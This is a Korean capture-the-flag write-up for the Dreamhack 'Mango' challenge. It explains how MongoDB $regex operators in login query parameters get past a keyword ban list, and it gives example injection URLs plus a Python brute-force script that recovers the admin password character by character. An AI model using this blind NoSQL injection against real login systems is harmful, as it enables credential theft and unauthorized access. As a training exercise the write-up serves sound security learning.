Mango

소스코드 분석
- 먼저 아래 부분을 살펴보면 BAN 리스트 안의 값이 오면
flag변수에true값이 할당되는데요.

flag값이true이면, 아래 코드에 의해 필터링 되어 “filter” 문자열을 반환하게 됩니다.

- 필터링 되지 않은 경우(BAN 리스트에 담긴 값을 사용하지 않은 경우)는 아래 코드가 실행됩니다.
- 입력 받은
uid, upw값으로 조회된 결과로부터uid값을 반환

- 입력 받은
- 아래와 같이, BAN 리스트 안의 값이 uid, upw 값에 입력되면 “filter” 문자열이 반환됩니다.

- MongoDB는 SQL 문을 통해 데이터를 조회하는 RDBMS가 아니라, NoSQL에 속합니다.
- NoSQL은 Key/Value, Column Family, Graph, Document 등 다양한 형태의 데이터베이스로 분류되는데요.
- MongoDB는 Binary JSON(BSON) 형태의 도큐먼트 형식으로 데이터를 저장합니다.
- json 형식으로 데이터를 조회하기 때문에, 임의의 배열 형태로 데이터 조회가 가능한데요.
- MongoDB에서는
$regex, $in등 데이터 조회 시 사용할 수 있는 표현식을 제공하고 있습니다.
- 아래와 같이 정규표현식을 이용하면 아이디가
adm으로 시작하는 데이터 조회가 가능합니다..*는 바로 앞에 있는 토큰(문자, 문자클래스, 그룹 등)을0회 이상반복하는 걸 의미

- admin 계정의 패스워드 정보를 알아야 하므로, 순차적으로 정보를 수집합니다.
- (1) 패스워드 길이 확인 ( 36개의 문자열로 구성 )
- (2) 패스워드 정보 확인 ( DH{…}, DH{8…} )
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{36}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=D.{35}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{.{33}
http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{8.{32}
DH{8이후의 문자열은 파이썬 코드를 작성하여 확인하였습니다.- 출력 결과를 확인하면 플래그(
DH{89....})를 획득할 수 있습니다.
- 출력 결과를 확인하면 플래그(
import requests
import string
alphanumeric = list(string.digits) + list(string.ascii_lowercase) + list(string.ascii_uppercase)
# /login?uid[$regex]=^adm&upw[$regex]=.{1}H{8.{32}
# DH{ ...
URL = 'http://host1.dreamhack.games:15559/login?uid[$regex]=^adm&upw[$regex]=.{1}H{'
flag = "8"
for i in range(31):
for j in alphanumeric:
res = requests.get(URL + flag + j + ".{" + str(31-i) + "}")
print(URL + flag + j + ".{" + str(31-i) + "}")
if "admin" in res.text:
flag += j
break
print(flag)
🐛.. 🐛.. 🐛..